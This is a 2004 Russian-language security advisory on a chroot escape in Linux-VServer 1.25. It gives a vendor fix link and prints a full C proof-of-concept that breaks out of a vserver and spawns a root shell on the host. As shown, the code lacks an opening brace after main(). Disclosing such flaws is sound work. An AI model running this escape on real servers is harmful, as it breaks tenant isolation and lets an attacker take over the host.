Security Lab

Обход chrooted в Linux-VServer

Дата публикации:11.02.2004
Всего просмотров:1576
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Linux-VServer 1.25 (stable)

Описание: Уязвимость обнаружена в Linux-VServer. Локальный привилегированный пользователь может получить доступ к системе вне chrooted виртуального частного сервера.

Функция chmod() не в состоянии принудительно применить chmod 000 ограничения для vserver директорий. Локальный пользователь с root привилегиями в любом vserver может получить доступ к целевой системе.

Пример/Эксплоит:

/* vserver@deadbeef.de modified the chroot-again exploit */
/* to work on vservers with "chmod 000 /vservers" */

/* Run this code in a vserver as root */
/* Tested with 2.4.24 and vserver 1.24 */

#include <sys/types.h>
#include <sys/stat.h>

main()
 
 int i;

 if (chdir("/") != 0) {
   perror("cd /"); exit(1);
 }
 if (mkdir("baz", 0777) != 0) {
   perror("mkdir baz");
 }
 if (chroot("baz") != 0) {
   perror("chroot baz"); exit(1);
 }
 
 for (i=0; i<50; i++) {
    if (chdir("..") != 0) {
       perror("cd .."); /* exit(1); */
    }
    if (chmod("..", S_IXOTH) != 0) {
       perror("chmod"); /* exit(1); */
    }
 }
 if (chroot(".") != 0) {
   perror("chroot ."); exit(1);
 }
 printf("Exploit seems to work. =)\n");
 execl("/bin/sh", "sh", "-i", (char *)0);
 perror("exec sh");
 exit(0);

URL производителя: http://linux-vserver.org/

Решение:Установите обновленную версию программы: http://www.13thfloor.at/vserver/s_release/v1.26/

Ссылки: Linux 2.4.24 with vserver 1.24 exploit